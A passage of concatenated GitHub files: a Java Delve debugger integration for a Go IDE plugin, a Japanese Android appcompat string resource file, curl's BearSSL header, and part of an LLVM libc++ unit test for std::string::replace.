import com.intellij.xdebugger.breakpoints.XLineBreakpoint;
import com.intellij.xdebugger.evaluation.XDebuggerEditorsProviderBase;
import com.intellij.xdebugger.frame.XSuspendContext;
import org.intellij.lang.annotations.MagicConstant;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.jetbrains.concurrency.Promise;
import org.jetbrains.debugger.DebugProcessImpl;
import org.jetbrains.debugger.Location;
import org.jetbrains.debugger.StepAction;
import org.jetbrains.debugger.Vm;
import org.jetbrains.debugger.connection.VmConnection;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.concurrent.atomic.AtomicBoolean;
import static com.goide.dlv.protocol.DlvApi.*;
import static com.intellij.util.ObjectUtils.assertNotNull;
import static com.intellij.util.ObjectUtils.tryCast;
public final class DlvDebugProcess extends DebugProcessImpl<VmConnection<?>> implements Disposable {
public static final boolean IS_DLV_DISABLED = !GoConstants.AMD64.equals(GoUtil.systemArch());
private final static Logger LOG = Logger.getInstance(DlvDebugProcess.class);
private final AtomicBoolean breakpointsInitiated = new AtomicBoolean();
private final AtomicBoolean connectedListenerAdded = new AtomicBoolean();
private static final Consumer<Throwable> THROWABLE_CONSUMER = LOG::info;
@NotNull
private final Consumer<DebuggerState> myStateConsumer = new Consumer<DebuggerState>() {
@Override
public void consume(@NotNull DebuggerState o) {
if (o.exited) {
stop();
return;
}
XBreakpoint<DlvBreakpointProperties> find = findBreak(o.breakPoint);
send(new DlvRequest.StacktraceGoroutine()).done(locations -> {
DlvSuspendContext context = new DlvSuspendContext(DlvDebugProcess.this, o.currentThread.id, locations, getProcessor());
XDebugSession session = getSession();
if (find == null) {
session.positionReached(context);
}
else {
session.breakpointReached(find, null, context);
}
});
}
@Nullable
private XBreakpoint<DlvBreakpointProperties> findBreak(@Nullable Breakpoint point) {
return point == null ? null : breakpoints.get(point.id);
}
};
@NotNull
private <T> Promise<T> send(@NotNull DlvRequest<T> request) {
return send(request, getProcessor());
}
@NotNull
static <T> Promise<T> send(@NotNull DlvRequest<T> request, @NotNull DlvCommandProcessor processor) {
return processor.send(request).rejected(THROWABLE_CONSUMER);
}
@NotNull
private DlvCommandProcessor getProcessor() {
return assertNotNull(tryCast(getVm(), DlvVm.class)).getCommandProcessor();
}
public DlvDebugProcess(@NotNull XDebugSession session, @NotNull VmConnection<?> connection, @Nullable ExecutionResult er) {
super(session, connection, new MyEditorsProvider(), null, er);
}
@NotNull
@Override
protected XBreakpointHandler<?>[] createBreakpointHandlers() {
return new XBreakpointHandler[]{new MyBreakpointHandler()};
}
@NotNull
@Override
public ExecutionConsole createConsole() {
ExecutionResult executionResult = getExecutionResult();
return executionResult == null ? super.createConsole() : executionResult.getExecutionConsole();
}
@Override
protected boolean isVmStepOutCorrect() {
return false;
}
@Override
public void dispose() {
// todo
}
@Override
public boolean checkCanInitBreakpoints() {
if (getConnection().getState().getStatus() == ConnectionStatus.CONNECTED) {
// breakpointsInitiated could be set in another thread and at this point work (init breakpoints) could be not yet performed
return initBreakpointHandlersAndSetBreakpoints(false);
}
if (connectedListenerAdded.compareAndSet(false, true)) {
getConnection().addListener(status -> {
if (status == ConnectionStatus.CONNECTED) {
initBreakpointHandlersAndSetBreakpoints(true);
}
});
}
return false;
}
private boolean initBreakpointHandlersAndSetBreakpoints(boolean setBreakpoints) {
if (!breakpointsInitiated.compareAndSet(false, true)) return false;
Vm vm = getVm();
assert vm != null : "Vm should be initialized";
if (setBreakpoints) {
doSetBreakpoints();
resume(vm);
}
return true;
}
private void doSetBreakpoints() {
AccessToken token = ReadAction.start();
try {
getSession().initBreakpoints();
}
finally {
token.finish();
}
}
private void command(@NotNull @MagicConstant(stringValues = {NEXT, CONTINUE, HALT, SWITCH_THREAD, STEP}) String name) {
send(new DlvRequest.Command(name)).done(myStateConsumer);
}
@Nullable
@Override
protected Promise<?> continueVm(@NotNull Vm vm, @NotNull StepAction stepAction) {
switch (stepAction) {
case CONTINUE:
command(CONTINUE);
break;
case IN:
command(STEP);
break;
case OVER:
command(NEXT);
break;
case OUT:
// todo
break;
}
return null;
}
@NotNull
@Override
public List<Location> getLocationsForBreakpoint(@NotNull XLineBreakpoint<?> breakpoint) {
return Collections.emptyList();
}
@Override
public void runToPosition(@NotNull XSourcePosition position, @Nullable XSuspendContext context) {
// todo
}
@Override
public void stop() {
if (getVm() != null) {
send(new DlvRequest.Detach(true));
}
getSession().stop();
}
private static class MyEditorsProvider extends XDebuggerEditorsProviderBase {
@NotNull
@Override
public FileType getFileType() {
return GoFileType.INSTANCE;
}
@Override
protected PsiFile createExpressionCodeFragment(@NotNull Project project,
@NotNull String text,
@Nullable PsiElement context,
boolean isPhysical) {
return PsiFileFactory.getInstance(project).createFileFromText("dlv-debug.txt", PlainTextLanguage.INSTANCE, text);
}
}
private static final Key<Integer> ID = Key.create("DLV_BP_ID");
private final Map<Integer, XBreakpoint<DlvBreakpointProperties>> breakpoints = ContainerUtil.newConcurrentMap();
private class MyBreakpointHandler extends XBreakpointHandler<XLineBreakpoint<DlvBreakpointProperties>> {
public MyBreakpointHandler() {
super(DlvBreakpointType.class);
}
@Override
public void registerBreakpoint(@NotNull XLineBreakpoint<DlvBreakpointProperties> breakpoint) {
XSourcePosition breakpointPosition = breakpoint.getSourcePosition();
if (breakpointPosition == null) return;
VirtualFile file = breakpointPosition.getFile();
int line = breakpointPosition.getLine();
send(new DlvRequest.CreateBreakpoint(file.getPath(), line + 1))
.done(b -> {
breakpoint.putUserData(ID, b.id);
breakpoints.put(b.id, breakpoint);
getSession().updateBreakpointPresentation(breakpoint, AllIcons.Debugger.Db_verified_breakpoint, null);
})
.rejected(t -> {
String message = t == null ? null : t.getMessage();
getSession().updateBreakpointPresentation(breakpoint, AllIcons.Debugger.Db_invalid_breakpoint, message);
});
}
@Override
public void unregisterBreakpoint(@NotNull XLineBreakpoint<DlvBreakpointProperties> breakpoint, boolean temporary) {
XSourcePosition breakpointPosition = breakpoint.getSourcePosition();
if (breakpointPosition == null) return;
Integer id = breakpoint.getUserData(ID);
if (id == null) return; // obsolete
breakpoint.putUserData(ID, null);
breakpoints.remove(id);
send(new DlvRequest.ClearBreakpoint(id));
}
}
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- From: file:/usr/local/google/buildbot/repo_clients/https___googleplex-android.googlesource.com_a_platform_manifest.git/lmp-mr1-supportlib-release/frameworks/support/v7/appcompat/res/values-ja/strings.xml -->
<eat-comment/>
<string msgid="4600421777120114993" name="abc_action_bar_home_description">"ホームへ移動"</string>
<string msgid="1594238315039666878" name="abc_action_bar_up_description">"上へ移動"</string>
<string msgid="3588849162933574182" name="abc_action_menu_overflow_description">"その他のオプション"</string>
<string msgid="4076576682505996667" name="abc_action_mode_done">"完了"</string>
<string msgid="7468859129482906941" name="abc_activity_chooser_view_see_all">"すべて表示"</string>
<string msgid="2031811694353399454" name="abc_activitychooserview_choose_application">"アプリの選択"</string>
<string msgid="3691816814315814921" name="abc_searchview_description_clear">"検索キーワードを削除"</string>
<string msgid="2550479030709304392" name="abc_searchview_description_query">"検索キーワード"</string>
<string msgid="8264924765203268293" name="abc_searchview_description_search">"検索"</string>
<string msgid="8928215447528550784" name="abc_searchview_description_submit">"検索キーワードを送信"</string>
<string msgid="893419373245838918" name="abc_searchview_description_voice">"音声検索"</string>
<string msgid="3421042268587513524" name="abc_shareactionprovider_share_with">"共有"</string>
<string msgid="7165123711973476752" name="abc_shareactionprovider_share_with_application">"%sと共有"</string>
</resources>
|
{
"pile_set_name": "Github"
}
|
#ifndef HEADER_CURL_BEARSSL_H
#define HEADER_CURL_BEARSSL_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) 2019, Michael Forney, <mforney@mforney.org>
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.haxx.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
***************************************************************************/
#include "curl_setup.h"
#ifdef USE_BEARSSL
extern const struct Curl_ssl Curl_ssl_bearssl;
#endif /* USE_BEARSSL */
#endif /* HEADER_CURL_BEARSSL_H */
|
{
"pile_set_name": "Github"
}
|
//===----------------------------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
// <string>
// basic_string<charT,traits,Allocator>&
// replace(size_type pos, size_type n1, const charT* s);
// When back-deploying to macosx10.7, the RTTI for exception classes
// incorrectly provided by libc++.dylib is mixed with the one in
// libc++abi.dylib and exceptions are not caught properly.
// XFAIL: with_system_cxx_lib=macosx10.7
#include <string>
#include <stdexcept>
#include <algorithm>
#include <cassert>
#include "test_macros.h"
#include "min_allocator.h"
template <class S>
void
test(S s, typename S::size_type pos, typename S::size_type n1,
const typename S::value_type* str, S expected)
{
const typename S::size_type old_size = s.size();
S s0 = s;
if (pos <= old_size)
{
s.replace(pos, n1, str);
LIBCPP_ASSERT(s.__invariants());
assert(s == expected);
typename S::size_type xlen = std::min(n1, old_size - pos);
typename S::size_type rlen = S::traits_type::length(str);
assert(s.size() == old_size - xlen + rlen);
}
#ifndef TEST_HAS_NO_EXCEPTIONS
else
{
try
{
s.replace(pos, n1, str);
assert(false);
}
catch (std::out_of_range&)
{
assert(pos > old_size);
assert(s == s0);
}
}
#endif
}
template <class S>
void test0()
{
test(S(""), 0, 0, "", S(""));
test(S(""), 0, 0, "12345", S("12345"));
test(S(""), 0, 0, "1234567890", S("1234567890"));
test(S(""), 0, 0, "12345678901234567890", S("12345678901234567890"));
test(S(""), 0, 1, "", S(""));
test(S(""), 0, 1, "12345", S("12345"));
test(S(""), 0, 1, "1234567890", S("1234567890"));
test(S(""), 0, 1, "12345678901234567890", S("12345678901234567890"));
test(S(""), 1, 0, "", S("can't happen"));
test(S(""), 1, 0, "12345", S("can't happen"));
test(S(""), 1, 0, "1234567890", S("can't happen"));
test(S(""), 1, 0, "12345678901234567890", S("can't happen"));
test(S("abcde"), 0, 0, "", S("abcde"));
test(S("abcde"), 0, 0, "12345", S("12345abcde"));
test(S("abcde"), 0, 0, "1234567890", S("1234567890abcde"));
test(S("abcde"), 0, 0, "12345678901234567890", S("12345678901234567890abcde"));
test(S("abcde"), 0, 1, "", S("bcde"));
test(S("abcde"), 0, 1, "12345", S("12345bcde"));
test(S("abcde"), 0, 1, "1234567890", S("1234567890bcde"));
test(S("abcde"), 0, 1, "12345678901234567890", S("12345678901234567890bcde"));
test(S("abcde"), 0, 2, "", S("cde"));
test(S("abcde"), 0, 2, "12345", S("12345cde"));
test(S("abcde"), 0, 2, "1234567890", S("1234567890cde"));
test(S("abcde"), 0, 2, "12345678901234567890", S("12345678901234567890cde"));
test(S("abcde"), 0, 4, "", S("e"));
test(S("abcde"), 0, 4, "12345", S("12345e"));
test(S("abcde"), 0, 4, "1234567890", S("1234567890e"));
test(S("abcde"), 0, 4, "12345678901234567890", S("12345678901234567890e"));
test(S("abcde"), 0, 5, "", S(""));
test(S("abcde"), 0, 5, "12345", S("12345"));
test(S("abcde"), 0, 5, "1234567890", S("1234567890"));
test(S("abcde"), 0, 5, "12345678901234567890", S("12345678901234567890"));
test(S("abcde"), 0, 6, "", S(""));
test(S("abcde"), 0, 6, "12345", S("12345"));
test(S("abcde"), 0, 6, "1234567890", S("1234567890"));
test(S("abcde"), 0, 6, "12345678901234567890", S("12345678901234567890"));
test(S("abcde"), 1, 0, "", S("abcde"));
test(S("abcde"), 1, 0, "12345", S("a12345bcde"));
test(S("abcde"), 1, 0, "1234567890", S("a1234567890bcde"));
test(S("abcde"), 1, 0, "12345678901234567890", S("a12345678901234567890bcde"));
test(S("abcde"), 1, 1, "", S("acde"));
test(S("abcde"), 1, 1, "12345", S("a12345cde"));
test(S("abcde"), 1, 1, "1234567890", S("a1234567890cde"));
test(S("abcde"), 1, 1, "12345678901234567890", S("a12345678901234567890cde"));
test(S("abcde"), 1, 2, "", S("ade"));
test(S("abcde"), 1, 2, "12345", S("a12345de"));
test(S("abcde"), 1, 2, "1234567890", S("a1234567890de"));
test(S("abcde"), 1, 2, "12345678901234567890", S("a12345678901234567890de"));
test(S("abcde"), 1, 3, "", S("ae"));
test(S("abcde"), 1, 3, "12345", S("a12345e"));
test(S("abcde"), 1, 3, "1234567890", S("a1234567890e"));
test(S("abcde"), 1, 3, "12345678901234567890", S("a12345678901234567890e"));
test(S("abcde"), 1, 4, "", S("a"));
test(S("abcde"), 1, 4, "12345", S("a12345"));
test(S("abcde"), 1, 4, "1234567890", S("a1234567890"));
test(S("abcde"), 1, 4, "12345678901234567890", S("a12345678901234567890"));
test(S("abcde"), 1, 5, "", S("a"));
test(S("abcde"), 1, 5, "12345", S("a12345"));
test(S("abcde"), 1, 5, "1234567890", S("a1234567890"));
test(S("abcde"), 1, 5, "12345678901234567890", S("a12345678901234567890"));
test(S("abcde"), 2, 0, "", S("abcde"));
test(S("abcde"), 2, 0, "12345", S("ab12345cde"));
test(S("abcde"), 2, 0, "1234567890", S("ab1234567890cde"));
test(S("abcde"), 2, 0, "12345678901234567890", S("ab12345678901234567890cde"));
test(S("abcde"), 2, 1, "", S("abde"));
test(S("abcde"), 2, 1, "12345", S("ab12345de"));
test(S("abcde"), 2, 1, "1234567890", S("ab1234567890de"));
test(S("abcde"), 2, 1, "12345678901234567890", S("ab12345678901234567890de"));
test(S("abcde"), 2, 2, "", S("abe"));
test(S("abcde"), 2, 2, "12345", S("ab12345e"));
test(S("abcde"), 2, 2, "1234567890", S("ab1234567890e"));
test(S("abcde"), 2, 2, "12345678901234567890", S("ab12345678901234567890e"));
test(S("abcde"), 2, 3, "", S("ab"));
test(S("abcde"), 2, 3, "12345", S("ab12345"));
test(S("abcde"), 2, 3, "1234567890", S("ab1234567890"));
test(S("abcde"), 2, 3, "12345678901234567890", S("ab12345678901234567890"));
test(S("abcde"), 2, 4, "", S("ab"));
test(S("abcde"), 2, 4, "12345", S("ab12345"));
test(S("abcde"), 2, 4, "1234567890", S("ab1234567890"));
test(S("abcde"), 2, 4, "12345678901234567890", S("ab12345678901234567890"));
test(S("abcde"), 4, 0, "", S("abcde"));
test(S("abcde"), 4, 0, "12345", S("abcd12345e"));
test(S("abcde"), 4, 0, "1234567890", S("abcd1234567890e"));
test(S("abcde"), 4, 0, "12345678901234567890", S("abcd12345678901234567890e"));
test(S("abcde"), 4, 1, "", S("abcd"));
test(S("abcde"), 4, 1, "12345", S("abcd12345"));
test(S("abcde"), 4, 1, "1234567890", S("abcd1234567890"));
test(S("abcde"), 4, 1, "12345678901234567890", S("abcd12345678901234567890"));
test(S("abcde"), 4, 2, "", S("abcd"));
test(S("abcde"), 4, 2, "12345", S("abcd12345"));
test(S("abcde"), 4, 2, "1234567890", S("abcd1234567890"));
test(S("abcde"), 4, 2, "12345678901234567890", S("abcd12345678901234567890"));
test(S("abcde"), 5, 0, "", S("abcde"));
test(S("abcde"), 5, 0, "12345", S("abcde12345"));
test(S("abcde"), 5, 0, "1234567890", S("abcde1234567890"));
test(S("abcde"), 5, 0, "12345678901234567890", S("abcde12345678901234567890"));
test(S("abcde"), 5, 1, "", S("abcde"));
test(S("abcde"), 5, 1, "12345", S("abcde12345"));
test(S("abcde"), 5, 1, "1234567890", S("abcde1234567890"));
test(S("abcde"), 5, 1, "12345678901234567890", S("abcde12345678901234567890"));
}
template <class S>
void test1()
{
test(S("abcde"), 6, 0, "", S("can't happen"));
test(S("abcde"), 6, 0, "12345", S("can't happen"));
test(S("abcde"), 6, 0, "1234567890", S("can't happen"));
test(S("abcde"), 6, 0, "12345678901234567890", S("can't happen"));
test(S("abcdefghij"), 0, 0, "", S("abcdefghij"));
test(S("abcdefghij"), 0, 0, "12345", S("12345abcdefghij"));
test(S("abcdefghij"), 0, 0, "1234567890", S("1234567890abcdefghij"));
test(S("abcdefghij"), 0, 0, "12345678901234567890", S("12345678901234567890abcdefghij"));
test(S("abcdefghij"), 0, 1, "", S("bcdefghij"));
test(S("abcdefghij"), 0, 1, "12345", S("12345bcdefghij"));
test(S("abcdefghij"), 0, 1, "1234567890", S("1234567890bcdefghij"));
test(S("abcdefghij"), 0, 1, "12345678901234567890", S("12345678901234567890bcdefghij"));
test(S("abcdefghij"), 0, 5, "", S("fghij"));
test(S("abcdefghij"), 0, 5, "12345", S("12345fghij"));
test(S("abcdefghij"), 0, 5, "1234567890", S("1234567890fghij"));
test(S("abcdefghij"), 0, 5, "12345678901234567890", S("12345678901234567890fghij"));
test(S("abcdefghij"), 0, 9, "", S("j"));
test(S("abcdefghij"), 0, 9, "12345", S("12345j"));
test(S("abcdefghij"), 0, 9, "1234567890", S("1234567890j"));
test(S("abcdefghij"), 0, 9, "12345678901234567890", S("12345678901234567890j"));
test(S("abcdefghij"), 0, 10, "", S(""));
test(S("abcdefghij"), 0, 10, "12345", S("12345"));
test(S("abcdefghij"), 0, 10, "1234567890", S("1234567890"));
test(S("abcdefghij"), 0, 10, "12345678901234567890", S("12345678901234567890"));
test(S("abcdefghij"), 0, 11, "", S(""));
test(S("abcdefghij"), 0, 11, "12345", S("12345"));
test(S("abcdefghij"), 0, 11, "1234567890", S("1234567890"));
test(S("abcdefghij"), 0, 11, "12345678901234567890", S("12345678901234567890"));
test(S("abcdefghij"), 1, 0, "", S("abcdefghij"));
test(S("abcdefghij"), 1, 0, "12345", S("a12345bcdefghij"));
test(S("abcdefghij"), 1, 0, "1234567890", S("a1234567890bcdefghij"));
test(S("abcdefghij"), 1, 0, "12345678901234567890", S("a12345678901234567890bcdefghij"));
test(S("abcdefghij"), 1, 1, "", S("acdefghij"));
test(S("abcdefghij"), 1, 1, "12345", S("a12345cdefghij"));
test(S("abcdefghij"), 1, 1, "1234567890", S("a1234567890cdefghij"));
test(S("abcdefghij"), 1, 1, "12345678901234567890", S("a12345678901234567890cdefghij"));
test(S("abcdefghij"), 1, 4, "", S("afghij"));
test(S("abcdefghij"), 1, 4, "12345", S("a12345fghij"));
test(S("abcdefghij"), 1, 4, "1234567890", S("a1234567890fghij"));
test(S("abcdefghij"), 1, 4, "12345678901234567890", S("a12345678901234567890fghij"));
test(S("abcdefghij"), 1, 8, "", S("aj"));
test(S("abcdefghij"), 1, 8, "12345", S("a12345j"));
test(S("abcdefghij"), 1, 8, "1234567890", S("a1234567890j"));
test(S("abcdefghij"), 1, 8, "12345678901234567890", S("a12345678901234567890j"));
test(S("abcdefghij"), 1, 9, "", S("a"));
test(S("abcdefghij"), 1, 9, "12345", S("a12345"));
test(S("abcdefghij"), 1, 9, "1234567890", S("a1234567890"));
test(S("abcdefghij"), 1, 9, "12345678901234567890", S("a12345678901234567890"));
test(S("abcdefghij"), 1, 10, "", S("a"));
test(S("abcdefghij"), 1, 10, "12345", S("a12345"));
test(S("abcdefghij"), 1, 10, "1234567890", S("a1234567890"));
test(S("abcdefghij"), 1, 10, "12345678901234567890", S("a12345678901234567890"));
test(S("abcdefghij"), 5, 0, "", S("abcdefghij"));
test(S("abcdefghij"), 5, 0, "12345", S("abcde12345fghij"));
test(S("abcdefghij"), 5, 0, "1234567890", S("abcde1234567890fghij"));
test(S("abcdefghij"), 5, 0, "12345678901234567890", S("abcde12345678901234567890fghij"));
test(S("abcdefghij"), 5, 1, "", S("abcdeghij"));
test(S("abcdefghij"), 5, 1, "12345", S("abcde12345ghij"));
test(S("abcdefghij"), 5, 1, "1234567890", S("abcde1234567890ghij"));
test(S("abcdefghij"), 5, 1, "12345678901234567890", S("abcde12345678901234567890ghij"));
test(S("abcdefghij"), 5, 2, "", S("abcdehij"));
test(S("abcdefghij"), 5, 2, "12345", S("abcde12345hij"));
test(S("abcdefghij"), 5, 2, "1234567890", S("abcde1234567890hij"));
test(S("abcdefghij"), 5, 2, "12345678901234567890", S("abcde12345678901234567890hij"));
test(S("abcdefghij"), 5, 4, "", S("abcdej"));
test(S("abcdefghij"), 5, 4, "12345", S("abcde12345j"));
test(S("abcdefghij"), 5, 4, "1234567890", S("abcde1234567890j"));
test(S("abcdefghij"), 5, 4, "12345678901234567890", S("abcde12345678901234567890j"));
test(S("abcdefghij"), 5, 5, "", S("abcde"));
test(S("abcdefghij"), 5, 5, "12345", S("abcde12345"));
test(S("abcdefghij"), 5, 5, "1234567890", S("abcde1234567890"));
test(S("abcdefghij"), 5, 5, "12345678901234567890", S("abcde12345678901234567890"));
test(S("abcdefghij"), 5, 6, "", S("abcde"));
test(S("abcdefghij"), 5, 6, "12345", S("abcde12345"));
test(S("abcdefghij"), 5, 6, "1234567890", S("abcde1234567890"));
test(S("abcdefghij"), 5, 6, "12345678901234567890", S("abcde12345678901234567890"));
test(S("abcdefghij"), 9, 0, "", S("abcdefghij"));
test(S("abcdefghij"), 9, 0, "12345", S("abcdefghi12345j"));
test(S("abcdefghij"), 9, 0, "1234567890", S("abcdefghi1234567890j"));
test(S("abcdefghij"), 9, 0, "12345678901234567890", S("abcdefghi12345678901234567890j"));
test(S("abcdefghij"), 9, 1, "", S("abcdefghi"));
test(S("abcdefghij"), 9, 1, "12345", S("abcdefghi12345"));
test(S("abcdefghij"), 9, 1, "1234567890", S("abcdefghi1234567890"));
test(S("abcdefghij"), 9, 1, "12345678901234567890", S("abcdefghi12345678901234567890"));
test(S("abcdefghij"), 9, 2, "", S("abcdefghi"));
test(S("abcdefghij"), 9, 2, "12345", S("abcdefghi12345"));
test(S("abcdefghij"), 9, 2, "1234567890", S("abcdefghi1234567890"));
test(S("abcdefghij"), 9, 2, "12345678901234567890", S("abcdefghi12345678901234567890"));
test(S("abcdefghij"), 10, 0, "", S("abcdefghij"));
test(S("abcdefghij"), 10, 0, "12345", S("abcdefghij12345"));
test(S("abcdefghij"), 10, 0, "1234567890", S("abcdefghij1234567890"));
test(S("abcdefghij"), 10, 0, "12345678901234567890", S("abcdefghij12345678901234567890"));
test(S("abcdefghij"), 10, 1, "", S("abcdefghij"));
test(S("abcdefghij"), 10, 1, "12345", S("abcdefghij12345"));
test(S("abcdefghij"), 10, 1, "1234567890", S("abcdefghij1234567890"));
test(S("abcdefghij"), 10, 1, "12345678901234567890", S("abcdefghij12345678901234567890"));
test(S("abcdefghij"), 11, 0, "", S("can't happen"));
test(S("abcdefghij"), 11, 0, "12345", S("can't happen"));
test(S("abcdefghij"), 11, 0, "1234567890", S("can't happen"));
test(S("abcdefghij"), 11, 0, "12345678901234567890", S("can't happen"));
}
template <class S>
void test2()
{
test(S("abcdefghijklmnopqrst"), 0, 0, "", S("abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 0, "12345", S("12345abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 0, "1234567890", S("1234567890abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 0, "12345678901234567890", S("12345678901234567890abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 1, "", S("bcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 1, "12345", S("12345bcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 1, "1234567890", S("1234567890bcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 1, "12345678901234567890", S("12345678901234567890bcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 10, "", S("klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 10, "12345", S("12345klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 10, "1234567890", S("1234567890klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 10, "12345678901234567890", S("12345678901234567890klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 0, 19, "", S("t"));
test(S("abcdefghijklmnopqrst"), 0, 19, "12345", S("12345t"));
test(S("abcdefghijklmnopqrst"), 0, 19, "1234567890", S("1234567890t"));
test(S("abcdefghijklmnopqrst"), 0, 19, "12345678901234567890", S("12345678901234567890t"));
test(S("abcdefghijklmnopqrst"), 0, 20, "", S(""));
test(S("abcdefghijklmnopqrst"), 0, 20, "12345", S("12345"));
test(S("abcdefghijklmnopqrst"), 0, 20, "1234567890", S("1234567890"));
test(S("abcdefghijklmnopqrst"), 0, 20, "12345678901234567890", S("12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 0, 21, "", S(""));
test(S("abcdefghijklmnopqrst"), 0, 21, "12345", S("12345"));
test(S("abcdefghijklmnopqrst"), 0, 21, "1234567890", S("1234567890"));
test(S("abcdefghijklmnopqrst"), 0, 21, "12345678901234567890", S("12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 1, 0, "", S("abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 0, "12345", S("a12345bcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 0, "1234567890", S("a1234567890bcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 0, "12345678901234567890", S("a12345678901234567890bcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 1, "", S("acdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 1, "12345", S("a12345cdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 1, "1234567890", S("a1234567890cdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 1, "12345678901234567890", S("a12345678901234567890cdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 9, "", S("aklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 9, "12345", S("a12345klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 9, "1234567890", S("a1234567890klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 9, "12345678901234567890", S("a12345678901234567890klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 1, 18, "", S("at"));
test(S("abcdefghijklmnopqrst"), 1, 18, "12345", S("a12345t"));
test(S("abcdefghijklmnopqrst"), 1, 18, "1234567890", S("a1234567890t"));
test(S("abcdefghijklmnopqrst"), 1, 18, "12345678901234567890", S("a12345678901234567890t"));
test(S("abcdefghijklmnopqrst"), 1, 19, "", S("a"));
test(S("abcdefghijklmnopqrst"), 1, 19, "12345", S("a12345"));
test(S("abcdefghijklmnopqrst"), 1, 19, "1234567890", S("a1234567890"));
test(S("abcdefghijklmnopqrst"), 1, 19, "12345678901234567890", S("a12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 1, 20, "", S("a"));
test(S("abcdefghijklmnopqrst"), 1, 20, "12345", S("a12345"));
test(S("abcdefghijklmnopqrst"), 1, 20, "1234567890", S("a1234567890"));
test(S("abcdefghijklmnopqrst"), 1, 20, "12345678901234567890", S("a12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 10, 0, "", S("abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 10, 0, "12345", S("abcdefghij12345klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 10, 0, "1234567890", S("abcdefghij1234567890klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 10, 0, "12345678901234567890", S("abcdefghij12345678901234567890klmnopqrst"));
test(S("abcdefghijklmnopqrst"), 10, 1, "", S("abcdefghijlmnopqrst"));
test(S("abcdefghijklmnopqrst"), 10, 1, "12345", S("abcdefghij12345lmnopqrst"));
test(S("abcdefghijklmnopqrst"), 10, 1, "1234567890", S("abcdefghij1234567890lmnopqrst"));
test(S("abcdefghijklmnopqrst"), 10, 1, "12345678901234567890", S("abcdefghij12345678901234567890lmnopqrst"));
test(S("abcdefghijklmnopqrst"), 10, 5, "", S("abcdefghijpqrst"));
test(S("abcdefghijklmnopqrst"), 10, 5, "12345", S("abcdefghij12345pqrst"));
test(S("abcdefghijklmnopqrst"), 10, 5, "1234567890", S("abcdefghij1234567890pqrst"));
test(S("abcdefghijklmnopqrst"), 10, 5, "12345678901234567890", S("abcdefghij12345678901234567890pqrst"));
test(S("abcdefghijklmnopqrst"), 10, 9, "", S("abcdefghijt"));
test(S("abcdefghijklmnopqrst"), 10, 9, "12345", S("abcdefghij12345t"));
test(S("abcdefghijklmnopqrst"), 10, 9, "1234567890", S("abcdefghij1234567890t"));
test(S("abcdefghijklmnopqrst"), 10, 9, "12345678901234567890", S("abcdefghij12345678901234567890t"));
test(S("abcdefghijklmnopqrst"), 10, 10, "", S("abcdefghij"));
test(S("abcdefghijklmnopqrst"), 10, 10, "12345", S("abcdefghij12345"));
test(S("abcdefghijklmnopqrst"), 10, 10, "1234567890", S("abcdefghij1234567890"));
test(S("abcdefghijklmnopqrst"), 10, 10, "12345678901234567890", S("abcdefghij12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 10, 11, "", S("abcdefghij"));
test(S("abcdefghijklmnopqrst"), 10, 11, "12345", S("abcdefghij12345"));
test(S("abcdefghijklmnopqrst"), 10, 11, "1234567890", S("abcdefghij1234567890"));
test(S("abcdefghijklmnopqrst"), 10, 11, "12345678901234567890", S("abcdefghij12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 19, 0, "", S("abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 19, 0, "12345", S("abcdefghijklmnopqrs12345t"));
test(S("abcdefghijklmnopqrst"), 19, 0, "1234567890", S("abcdefghijklmnopqrs1234567890t"));
